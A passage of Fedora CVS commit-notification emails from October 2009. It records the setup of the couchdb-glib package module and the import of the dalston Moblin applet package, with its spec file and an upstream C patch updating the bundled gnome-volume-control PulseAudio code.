In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsyR3426/rpms/couchdb-glib/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module couchdb-glib


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: couchdb-glib
# $Id: Makefile,v 1.1 2009/10/08 06:01:33 kevin Exp $
NAME := couchdb-glib
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pbrobinson at fedoraproject.org  Thu Oct  8 06:05:15 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:05:15 +0000 (UTC)
Subject: rpms/dalston/devel
	0001-Update-to-latest-gnome-volume-control-code.patch, NONE,
	1.1 dalston.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008060515.7C11011C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5338/devel

Modified Files:
	.cvsignore sources 
Added Files:
	0001-Update-to-latest-gnome-volume-control-code.patch 
	dalston.spec import.log 
Log Message:
- Initial import


0001-Update-to-latest-gnome-volume-control-code.patch:
 dalston/dalston-volume-applet.c  |   58 ---
 dalston/dalston-volume-slider.c  |    3 
 libgvc/Makefile.am               |    2 
 libgvc/gvc-channel-map.c         |  185 +++++++++--
 libgvc/gvc-channel-map.h         |   24 +
 libgvc/gvc-mixer-card.c          |  498 +++++++++++++++++++++++++++++
 libgvc/gvc-mixer-card.h          |   86 +++++
 libgvc/gvc-mixer-control.c       |  650 ++++++++++++++++++++++++++++++++++-----
 libgvc/gvc-mixer-control.h       |   11 
 libgvc/gvc-mixer-event-role.c    |   29 -
 libgvc/gvc-mixer-event-role.h    |    5 
 libgvc/gvc-mixer-sink-input.c    |   40 +-
 libgvc/gvc-mixer-sink.c          |   85 +++--
 libgvc/gvc-mixer-source-output.c |    6 
 libgvc/gvc-mixer-source.c        |   80 +++-
 libgvc/gvc-mixer-stream.c        |  289 +++++++++++++++--
 libgvc/gvc-mixer-stream.h        |   35 +-
 tests/test-gvc.c                 |    5 
 18 files changed, 1790 insertions(+), 301 deletions(-)

--- NEW FILE 0001-Update-to-latest-gnome-volume-control-code.patch ---
>From ade5203a152ec2a9445db0511f23823f86ae3843 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Thu, 17 Sep 2009 19:00:33 +0100
Subject: [PATCH] Update to latest gnome-volume-control code

---
 dalston/dalston-volume-applet.c  |   58 +----
 dalston/dalston-volume-slider.c  |    3 +-
 libgvc/Makefile.am               |    2 +
 libgvc/gvc-channel-map.c         |  185 +++++++++--
 libgvc/gvc-channel-map.h         |   24 ++-
 libgvc/gvc-mixer-card.c          |  498 +++++++++++++++++++++++++++++
 libgvc/gvc-mixer-card.h          |   86 +++++
 libgvc/gvc-mixer-control.c       |  650 +++++++++++++++++++++++++++++++++-----
 libgvc/gvc-mixer-control.h       |   11 +-
 libgvc/gvc-mixer-event-role.c    |   29 +-
 libgvc/gvc-mixer-event-role.h    |    5 +-
 libgvc/gvc-mixer-sink-input.c    |   40 ++--
 libgvc/gvc-mixer-sink.c          |   85 ++++--
 libgvc/gvc-mixer-source-output.c |    6 +-
 libgvc/gvc-mixer-source.c        |   80 ++++--
 libgvc/gvc-mixer-stream.c        |  289 +++++++++++++++--
 libgvc/gvc-mixer-stream.h        |   35 ++-
 tests/test-gvc.c                 |    4 +-
 18 files changed, 1790 insertions(+), 300 deletions(-)
 create mode 100644 libgvc/gvc-mixer-card.c
 create mode 100644 libgvc/gvc-mixer-card.h

diff --git a/dalston/dalston-volume-applet.c b/dalston/dalston-volume-applet.c
index f8ac1f2..d79c1ce 100644
--- a/dalston/dalston-volume-applet.c
+++ b/dalston/dalston-volume-applet.c
@@ -229,17 +229,6 @@ dalston_volume_applet_update_default_sink (DalstonVolumeApplet  *self,
   }
 }
 
-static gboolean
-_reopen_pa_timeout_cb (gpointer data)
-{
-  DalstonVolumeAppletPrivate *priv = GET_PRIVATE (data);
-
-  priv->timeout = 0;
-  gvc_mixer_control_open (priv->control);
-  return FALSE;
-}
-
-
 static void
 _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
                                         guint            id,
@@ -249,54 +238,13 @@ _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
 }
 
 static void
-_mixer_control_connection_failed_cb (GvcMixerControl *control,
-                                     gpointer         userdata)
-{
-  DalstonVolumeAppletPrivate *priv = GET_PRIVATE (userdata);
-
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_default_sink_changed_cb,
-                                        userdata);
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_ready_cb,
-                                        userdata);
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_connection_failed_cb,
-                                        userdata);
-
-  priv->control = gvc_mixer_control_new ();
-  g_signal_connect (priv->control,
-                    "default-sink-changed",
-                    (GCallback)_mixer_control_default_sink_changed_cb,
-                    userdata);
-  g_signal_connect (priv->control,
-                    "ready",
-                    (GCallback)_mixer_control_ready_cb,
-                    userdata);
-  g_signal_connect (priv->control,
-                    "connection-failed",
-                    (GCallback)_mixer_control_connection_failed_cb,
-                    userdata);
-
-  if (priv->timeout)
-  {
-      g_source_remove (priv->timeout);
-      priv->timeout = 0;
-  }
-
-  priv->timeout = g_timeout_add (10000,
-                                 _reopen_pa_timeout_cb,
-                                 userdata);
-}
-
-static void
 dalston_volume_applet_init (DalstonVolumeApplet *self)
 {
   DalstonVolumeAppletPrivate *priv = GET_PRIVATE (self);
 
   priv->pane = dalston_volume_pane_new ();
 
-  priv->control = gvc_mixer_control_new ();
+  priv->control = gvc_mixer_control_new ("Dalston Moblin Volume Control");
   dalston_volume_applet_update_default_sink (self, priv->control);
   g_signal_connect (priv->control,
                     "default-sink-changed",
@@ -306,10 +254,6 @@ dalston_volume_applet_init (DalstonVolumeApplet *self)
                     "ready",
                     (GCallback)_mixer_control_ready_cb,
                     self);
-  g_signal_connect (priv->control,
-                    "connection-failed",
-                    (GCallback)_mixer_control_connection_failed_cb,
-                    self);
   gvc_mixer_control_open (priv->control);
 }
 
diff --git a/dalston/dalston-volume-slider.c b/dalston/dalston-volume-slider.c
index 54067e8..2f686e1 100644
--- a/dalston/dalston-volume-slider.c
+++ b/dalston/dalston-volume-slider.c
@@ -205,7 +205,8 @@ _range_value_changed_cb (DalstonVolumeSlider *slider,
   volume = (float)gtk_range_get_value (GTK_RANGE (slider)) / 100.0 * PA_VOLUME_NORM;
   gtk_range_set_fill_level (GTK_RANGE (slider),
                             gtk_range_get_value (GTK_RANGE (slider)));
-  gvc_mixer_stream_change_volume (priv->sink, volume);
+  if (gvc_mixer_stream_set_volume (priv->sink, volume) != FALSE)
+    gvc_mixer_stream_push_volume (priv->sink);
   g_signal_handlers_unblock_by_func (priv->sink,
                                      _stream_volume_notify_cb,
                                      slider);
diff --git a/libgvc/Makefile.am b/libgvc/Makefile.am
index 10832ae..65aee36 100644
--- a/libgvc/Makefile.am
+++ b/libgvc/Makefile.am
@@ -4,6 +4,8 @@ libgvc_la_CFLAGS = $(PULSE_CFLAGS) \
 libgvc_la_LIBADD = $(PULSE_LIBS) $(GLIB_LIBS)
 libgvc_la_SOURCES = gvc-channel-map.c  \
 		    gvc-channel-map.h  \
+		    gvc-mixer-card.c \
+		    gvc-mixer-card.h \
 		    gvc-mixer-control.c \
 		    gvc-mixer-control.h \
 		    gvc-mixer-event-role.c \
diff --git a/libgvc/gvc-channel-map.c b/libgvc/gvc-channel-map.c
index b8a0791..ea3e5af 100644
--- a/libgvc/gvc-channel-map.c
+++ b/libgvc/gvc-channel-map.c
@@ -33,16 +33,27 @@
 
 #define GVC_CHANNEL_MAP_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GVC_TYPE_CHANNEL_MAP, GvcChannelMapPrivate))
 
+#ifndef PA_CHECK_VERSION
+#define PA_CHECK_VERSION(major,minor,micro)                             \
+        ((PA_MAJOR > (major)) ||                                        \
+         (PA_MAJOR == (major) && PA_MINOR > (minor)) ||                 \
+         (PA_MAJOR == (major) && PA_MINOR == (minor) && PA_MICRO >= (micro)))
+#endif
+
+
 struct GvcChannelMapPrivate
 {
-        guint                 num_channels;
-        pa_channel_position_t positions[PA_CHANNELS_MAX];
-        gdouble               gains[PA_CHANNELS_MAX];
+        pa_channel_map        pa_map;
+        gboolean              pa_volume_is_set;
+        pa_cvolume            pa_volume;
+        gdouble               extern_volume[NUM_TYPES]; /* volume, balance, fade, lfe */
         gboolean              can_balance;
+        gboolean              can_fade;
+        gboolean              has_lfe;
 };
 
 enum {
-        GAINS_CHANGED,
+        VOLUME_CHANGED,
         LAST_SIGNAL
 };
 
@@ -54,32 +65,135 @@ static void     gvc_channel_map_finalize   (GObject            *object);
 
 G_DEFINE_TYPE (GvcChannelMap, gvc_channel_map, G_TYPE_OBJECT)
 
+/* FIXME remove when we depend on a newer PA */
+static int
+gvc_pa_channel_map_has_position (const pa_channel_map *map, pa_channel_position_t p) {
+        unsigned c;
+
+        g_return_val_if_fail(pa_channel_map_valid(map), 0);
+        g_return_val_if_fail(p < PA_CHANNEL_POSITION_MAX, 0);
+
+        for (c = 0; c < map->channels; c++)
+                if (map->map[c] == p)
+                        return 1;
+
+        return 0;
+}
+
[...2798 lines suppressed...]
 
+gboolean
+gvc_mixer_stream_is_running (GvcMixerStream *stream)
+{
+        if (stream->priv->change_volume_op == NULL)
+                return FALSE;
+
+        if ((pa_operation_get_state(stream->priv->change_volume_op) == PA_OPERATION_RUNNING))
+                return TRUE;
+
+        pa_operation_unref(stream->priv->change_volume_op);
+        stream->priv->change_volume_op = NULL;
+
+        return FALSE;
+}
+
 static void
 gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
 {
@@ -510,7 +706,8 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
         gobject_class->set_property = gvc_mixer_stream_set_property;
         gobject_class->get_property = gvc_mixer_stream_get_property;
 
-        klass->change_volume = gvc_mixer_stream_real_change_volume;
+        klass->push_volume = gvc_mixer_stream_real_push_volume;
+        klass->change_port = gvc_mixer_stream_real_change_port;
         klass->change_is_muted = gvc_mixer_stream_real_change_is_muted;
 
         g_object_class_install_property (gobject_class,
@@ -546,7 +743,7 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
                                                              "Volume",
                                                              "The volume for this stream",
                                                              0, G_MAXULONG, 0,
-                                                             G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+                                                             G_PARAM_READWRITE));
         g_object_class_install_property (gobject_class,
                                          PROP_DECIBEL,
                                          g_param_spec_double ("decibel",
@@ -604,6 +801,20 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
                                                                "Whether stream's role is to play an event",
                                                                FALSE,
                                                                G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+        g_object_class_install_property (gobject_class,
+                                         PROP_IS_VIRTUAL,
+                                         g_param_spec_boolean ("is-virtual",
+                                                               "is virtual stream",
+                                                               "Whether the stream is virtual",
+                                                               FALSE,
+                                                               G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+        g_object_class_install_property (gobject_class,
+                                         PROP_PORT,
+                                         g_param_spec_string ("port",
+                                                              "Port",
+                                                              "The name of the current port for this stream",
+                                                              NULL,
+                                                              G_PARAM_READWRITE));
         g_type_class_add_private (klass, sizeof (GvcMixerStreamPrivate));
 }
 
@@ -611,7 +822,14 @@ static void
 gvc_mixer_stream_init (GvcMixerStream *stream)
 {
         stream->priv = GVC_MIXER_STREAM_GET_PRIVATE (stream);
+}
 
+static void
+free_port (GvcMixerStreamPort *p)
+{
+        g_free (p->port);
+        g_free (p->human_port);
+        g_free (p);
 }
 
 static void
@@ -638,5 +856,20 @@ gvc_mixer_stream_finalize (GObject *object)
         g_free (mixer_stream->priv->icon_name);
         mixer_stream->priv->icon_name = NULL;
 
+        g_free (mixer_stream->priv->port);
+        mixer_stream->priv->port = NULL;
+
+        g_free (mixer_stream->priv->human_port);
+        mixer_stream->priv->human_port = NULL;
+
+        g_list_foreach (mixer_stream->priv->ports, (GFunc) free_port, NULL);
+        g_list_free (mixer_stream->priv->ports);
+        mixer_stream->priv->ports = NULL;
+
+       if (mixer_stream->priv->change_volume_op) {
+               pa_operation_unref(mixer_stream->priv->change_volume_op);
+               mixer_stream->priv->change_volume_op = NULL;
+       }
+
         G_OBJECT_CLASS (gvc_mixer_stream_parent_class)->finalize (object);
 }
diff --git a/libgvc/gvc-mixer-stream.h b/libgvc/gvc-mixer-stream.h
index 2848146..4ae2d34 100644
--- a/libgvc/gvc-mixer-stream.h
+++ b/libgvc/gvc-mixer-stream.h
@@ -48,37 +48,52 @@ typedef struct
         GObjectClass           parent_class;
 
         /* vtable */
-        gboolean (*change_volume)   (GvcMixerStream *stream,
-                                     guint           volume);
+        gboolean (*push_volume)     (GvcMixerStream *stream,
+                                     gpointer *operation);
         gboolean (*change_is_muted) (GvcMixerStream *stream,
                                      gboolean        is_muted);
+        gboolean (*change_port)     (GvcMixerStream *stream,
+                                     const char     *port);
 } GvcMixerStreamClass;
 
+typedef struct
+{
+        char *port;
+        char *human_port;
+        guint priority;
+} GvcMixerStreamPort;
+
 GType               gvc_mixer_stream_get_type        (void);
 
 pa_context *        gvc_mixer_stream_get_pa_context  (GvcMixerStream *stream);
 guint               gvc_mixer_stream_get_index       (GvcMixerStream *stream);
 guint               gvc_mixer_stream_get_id          (GvcMixerStream *stream);
 GvcChannelMap *     gvc_mixer_stream_get_channel_map (GvcMixerStream *stream);
+GvcMixerStreamPort *gvc_mixer_stream_get_port        (GvcMixerStream *stream);
+const GList *       gvc_mixer_stream_get_ports       (GvcMixerStream *stream);
+gboolean            gvc_mixer_stream_change_port     (GvcMixerStream *stream,
+                                                      const char     *port);
 
-guint               gvc_mixer_stream_get_volume      (GvcMixerStream *stream);
+pa_volume_t         gvc_mixer_stream_get_volume      (GvcMixerStream *stream);
 gdouble             gvc_mixer_stream_get_decibel     (GvcMixerStream *stream);
-gboolean            gvc_mixer_stream_change_volume   (GvcMixerStream *stream,
-                                                      guint           volume);
+gboolean            gvc_mixer_stream_push_volume     (GvcMixerStream *stream);
+pa_volume_t         gvc_mixer_stream_get_base_volume (GvcMixerStream *stream);
 
 gboolean            gvc_mixer_stream_get_is_muted    (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_get_can_decibel (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_change_is_muted (GvcMixerStream *stream,
                                                       gboolean        is_muted);
+gboolean            gvc_mixer_stream_is_running      (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_name        (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_icon_name   (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_description (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_application_id (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_is_event_stream (GvcMixerStream *stream);
+gboolean            gvc_mixer_stream_is_virtual      (GvcMixerStream *stream);
 
 /* private */
 gboolean            gvc_mixer_stream_set_volume      (GvcMixerStream *stream,
-                                                      guint           volume);
+                                                      pa_volume_t     volume);
 gboolean            gvc_mixer_stream_set_decibel     (GvcMixerStream *stream,
                                                       gdouble         db);
 gboolean            gvc_mixer_stream_set_is_muted    (GvcMixerStream *stream,
@@ -93,8 +108,16 @@ gboolean            gvc_mixer_stream_set_icon_name   (GvcMixerStream *stream,
                                                       const char     *name);
 gboolean            gvc_mixer_stream_set_is_event_stream (GvcMixerStream *stream,
                                                           gboolean is_event_stream);
+gboolean            gvc_mixer_stream_set_is_virtual  (GvcMixerStream *stream,
+                                                      gboolean is_event_stream);
 gboolean            gvc_mixer_stream_set_application_id (GvcMixerStream *stream,
                                                          const char *application_id);
+gboolean            gvc_mixer_stream_set_base_volume (GvcMixerStream *stream,
+                                                      pa_volume_t     base_volume);
+gboolean            gvc_mixer_stream_set_port        (GvcMixerStream *stream,
+                                                      const char     *port);
+gboolean            gvc_mixer_stream_set_ports       (GvcMixerStream *stream,
+                                                      GList          *ports);
 
 G_END_DECLS
 
diff --git a/tests/test-gvc.c b/tests/test-gvc.c
index 855d428..4f2a6e1 100644
--- a/tests/test-gvc.c
+++ b/tests/test-gvc.c
@@ -47,7 +47,7 @@ _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
   app->default_sink = gvc_mixer_control_get_default_sink (app->control);
   g_signal_connect (app->default_sink,
                     "notify::volume",
-                    _stream_volume_notify_cb,
+                    G_CALLBACK (_stream_volume_notify_cb),
                     app);
 }
 
@@ -68,7 +68,7 @@ main (int    argc,
   g_type_init ();
 
   app = g_new0 (GvcTestApp, 1);
-  app->control = gvc_mixer_control_new ();
+  app->control = gvc_mixer_control_new ("Dalston Volume Test Application");
   g_signal_connect (app->control,
                     "default-sink-changed",
                     _mixer_control_default_sink_changed_cb,
-- 
1.6.2.5



--- NEW FILE dalston.spec ---
# Creation of the tarball as follows:
# wget http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
# tar xf %{name}-%{version}.tar.bz2
# cd %{name}-%{version}
# patch -p1 dalston-nbtk-1.2.patch
# patch -p1 0001-Update-to-latest-gnome-volume-control-code.patch
# make dist

Name:          dalston
Version:       0.1.8
Release:       1%{?dist}
Summary:       Moblin System Information Icons

Group:         System Environment/Libraries
License:       LGPLv2 and GPLv2+
URL:           http://www.moblin.org/
Source0:       %{name}-%{version}.tar.gz
# Patches are applied during creation of 'make dist' tarball above. Are included here for reference
Patch0:        0001-Update-to-latest-gnome-volume-control-code.patch
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: dbus-glib-devel
BuildRequires: GConf2-devel
BuildRequires: gtk2-devel
BuildRequires: pulseaudio-libs-devel
BuildRequires: libcanberra-devel
BuildRequires: mutter-moblin-devel
BuildRequires: nbtk-devel
BuildRequires: libnotify-devel
BuildRequires: pkgconfig
BuildRequires: intltool
BuildRequires: gettext

%description
System information icons for Moblin including volume and power 
management applets.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README
%{_sysconfdir}/xdg/autostart/*
%{_bindir}/dalston-power-applet
%{_bindir}/dalston-volume-applet
%{_datadir}/dalston

%changelog
* Tue Oct  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.8-1
- new upstream 0.1.8 release

* Sat Oct  3 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-3
- make dist tarball creation

* Sun Sep 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-2
- Add patch from upstream for nbtk-1.2 and latest g-v-c

* Mon Sep 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
- new upstream 0.1.6 release, review updates

* Wed Sep  9 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
- new upstream 0.1.5 release

* Tue Aug 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.2-1
- new upstream 0.1.2 release

* Wed Aug 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-1
- new upstream 0.1.0 release

* Tue Aug 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.29-2
- Updates from review request

* Sun Jul 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.29-1
- New 0.0.29 upstream release

* Mon Jul  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.27-1
- New 0.0.27 upstream release, updates from initial review

* Thu Jun 18 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.25-1
- Initial packaging


--- NEW FILE import.log ---
dalston-0_1_8-1_fc11:HEAD:dalston-0.1.8-1.fc11.src.rpm:1254981861


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:59:32 -0000	1.1
+++ .cvsignore	8 Oct 2009 06:05:14 -0000	1.2
@@ -0,0 +1 @@
+dalston-0.1.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:59:33 -0000	1.1
+++ sources	8 Oct 2009 06:05:15 -0000	1.2
@@ -0,0 +1 @@
+62e097ec92f2ed09110ccbf6cdadfa3a  dalston-0.1.8.tar.gz



From pbrobinson at fedoraproject.org  Thu Oct  8 06:06:44 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:06:44 +0000 (UTC)
Subject: rpms/dalston/devel import.log,1.1,NONE
Message-ID: <20091008060644.5272E11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5842

Removed Files:
	import.log 
Log Message:
- remove import.log


--- import.log DELETED ---



From pbrobinson at fedoraproject.org  Thu Oct  8 06:08:08 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:08:08 +0000 (UTC)
Subject: rpms/dalston/F-12
	0001-Update-to-latest-gnome-volume-control-code.patch, NONE,
	1.1 dalston.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008060808.6174D11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6376

Modified Files:
	.cvsignore sources 
Added Files:
	0001-Update-to-latest-gnome-volume-control-code.patch 
	dalston.spec 
Log Message:
- Initial F-12 import

0001-Update-to-latest-gnome-volume-control-code.patch:
 dalston/dalston-volume-applet.c  |   58 ---
 dalston/dalston-volume-slider.c  |    3 
 libgvc/Makefile.am               |    2 
 libgvc/gvc-channel-map.c         |  185 +++++++++--
 libgvc/gvc-channel-map.h         |   24 +
 libgvc/gvc-mixer-card.c          |  498 +++++++++++++++++++++++++++++
 libgvc/gvc-mixer-card.h          |   86 +++++
 libgvc/gvc-mixer-control.c       |  650 ++++++++++++++++++++++++++++++++++-----
 libgvc/gvc-mixer-control.h       |   11 
 libgvc/gvc-mixer-event-role.c    |   29 -
 libgvc/gvc-mixer-event-role.h    |    5 
 libgvc/gvc-mixer-sink-input.c    |   40 +-
 libgvc/gvc-mixer-sink.c          |   85 +++--
 libgvc/gvc-mixer-source-output.c |    6 
 libgvc/gvc-mixer-source.c        |   80 +++-
 libgvc/gvc-mixer-stream.c        |  289 +++++++++++++++--
 libgvc/gvc-mixer-stream.h        |   35 +-
 tests/test-gvc.c                 |    5 
 18 files changed, 1790 insertions(+), 301 deletions(-)

--- NEW FILE 0001-Update-to-latest-gnome-volume-control-code.patch ---
>From ade5203a152ec2a9445db0511f23823f86ae3843 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Thu, 17 Sep 2009 19:00:33 +0100
Subject: [PATCH] Update to latest gnome-volume-control code

---
 dalston/dalston-volume-applet.c  |   58 +----
 dalston/dalston-volume-slider.c  |    3 +-
 libgvc/Makefile.am               |    2 +
 libgvc/gvc-channel-map.c         |  185 +++++++++--
 libgvc/gvc-channel-map.h         |   24 ++-
 libgvc/gvc-mixer-card.c          |  498 +++++++++++++++++++++++++++++
 libgvc/gvc-mixer-card.h          |   86 +++++
 libgvc/gvc-mixer-control.c       |  650 +++++++++++++++++++++++++++++++++-----
 libgvc/gvc-mixer-control.h       |   11 +-
 libgvc/gvc-mixer-event-role.c    |   29 +-
 libgvc/gvc-mixer-event-role.h    |    5 +-
 libgvc/gvc-mixer-sink-input.c    |   40 ++--
 libgvc/gvc-mixer-sink.c          |   85 ++++--
 libgvc/gvc-mixer-source-output.c |    6 +-
 libgvc/gvc-mixer-source.c        |   80 ++++--
 libgvc/gvc-mixer-stream.c        |  289 +++++++++++++++--
 libgvc/gvc-mixer-stream.h        |   35 ++-
 tests/test-gvc.c                 |    4 +-
 18 files changed, 1790 insertions(+), 300 deletions(-)
 create mode 100644 libgvc/gvc-mixer-card.c
 create mode 100644 libgvc/gvc-mixer-card.h

diff --git a/dalston/dalston-volume-applet.c b/dalston/dalston-volume-applet.c
index f8ac1f2..d79c1ce 100644
--- a/dalston/dalston-volume-applet.c
+++ b/dalston/dalston-volume-applet.c
@@ -229,17 +229,6 @@ dalston_volume_applet_update_default_sink (DalstonVolumeApplet  *self,
   }
 }
 
-static gboolean
-_reopen_pa_timeout_cb (gpointer data)
-{
-  DalstonVolumeAppletPrivate *priv = GET_PRIVATE (data);
-
-  priv->timeout = 0;
-  gvc_mixer_control_open (priv->control);
-  return FALSE;
-}
-
-
 static void
 _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
                                         guint            id,
@@ -249,54 +238,13 @@ _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
 }
 
 static void
-_mixer_control_connection_failed_cb (GvcMixerControl *control,
-                                     gpointer         userdata)
-{
-  DalstonVolumeAppletPrivate *priv = GET_PRIVATE (userdata);
-
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_default_sink_changed_cb,
-                                        userdata);
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_ready_cb,
-                                        userdata);
-  g_signal_handlers_disconnect_by_func (priv->control,
-                                        _mixer_control_connection_failed_cb,
-                                        userdata);
-
-  priv->control = gvc_mixer_control_new ();
-  g_signal_connect (priv->control,
-                    "default-sink-changed",
-                    (GCallback)_mixer_control_default_sink_changed_cb,
-                    userdata);
-  g_signal_connect (priv->control,
-                    "ready",
-                    (GCallback)_mixer_control_ready_cb,
-                    userdata);
-  g_signal_connect (priv->control,
-                    "connection-failed",
-                    (GCallback)_mixer_control_connection_failed_cb,
-                    userdata);
-
-  if (priv->timeout)
-  {
-      g_source_remove (priv->timeout);
-      priv->timeout = 0;
-  }
-
-  priv->timeout = g_timeout_add (10000,
-                                 _reopen_pa_timeout_cb,
-                                 userdata);
-}
-
-static void
 dalston_volume_applet_init (DalstonVolumeApplet *self)
 {
   DalstonVolumeAppletPrivate *priv = GET_PRIVATE (self);
 
   priv->pane = dalston_volume_pane_new ();
 
-  priv->control = gvc_mixer_control_new ();
+  priv->control = gvc_mixer_control_new ("Dalston Moblin Volume Control");
   dalston_volume_applet_update_default_sink (self, priv->control);
   g_signal_connect (priv->control,
                     "default-sink-changed",
@@ -306,10 +254,6 @@ dalston_volume_applet_init (DalstonVolumeApplet *self)
                     "ready",
                     (GCallback)_mixer_control_ready_cb,
                     self);
-  g_signal_connect (priv->control,
-                    "connection-failed",
-                    (GCallback)_mixer_control_connection_failed_cb,
-                    self);
   gvc_mixer_control_open (priv->control);
 }
 
diff --git a/dalston/dalston-volume-slider.c b/dalston/dalston-volume-slider.c
index 54067e8..2f686e1 100644
--- a/dalston/dalston-volume-slider.c
+++ b/dalston/dalston-volume-slider.c
@@ -205,7 +205,8 @@ _range_value_changed_cb (DalstonVolumeSlider *slider,
   volume = (float)gtk_range_get_value (GTK_RANGE (slider)) / 100.0 * PA_VOLUME_NORM;
   gtk_range_set_fill_level (GTK_RANGE (slider),
                             gtk_range_get_value (GTK_RANGE (slider)));
-  gvc_mixer_stream_change_volume (priv->sink, volume);
+  if (gvc_mixer_stream_set_volume (priv->sink, volume) != FALSE)
+    gvc_mixer_stream_push_volume (priv->sink);
   g_signal_handlers_unblock_by_func (priv->sink,
                                      _stream_volume_notify_cb,
                                      slider);
diff --git a/libgvc/Makefile.am b/libgvc/Makefile.am
index 10832ae..65aee36 100644
--- a/libgvc/Makefile.am
+++ b/libgvc/Makefile.am
@@ -4,6 +4,8 @@ libgvc_la_CFLAGS = $(PULSE_CFLAGS) \
 libgvc_la_LIBADD = $(PULSE_LIBS) $(GLIB_LIBS)
 libgvc_la_SOURCES = gvc-channel-map.c  \
 		    gvc-channel-map.h  \
+		    gvc-mixer-card.c \
+		    gvc-mixer-card.h \
 		    gvc-mixer-control.c \
 		    gvc-mixer-control.h \
 		    gvc-mixer-event-role.c \
diff --git a/libgvc/gvc-channel-map.c b/libgvc/gvc-channel-map.c
index b8a0791..ea3e5af 100644
--- a/libgvc/gvc-channel-map.c
+++ b/libgvc/gvc-channel-map.c
@@ -33,16 +33,27 @@
 
 #define GVC_CHANNEL_MAP_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GVC_TYPE_CHANNEL_MAP, GvcChannelMapPrivate))
 
+#ifndef PA_CHECK_VERSION
+#define PA_CHECK_VERSION(major,minor,micro)                             \
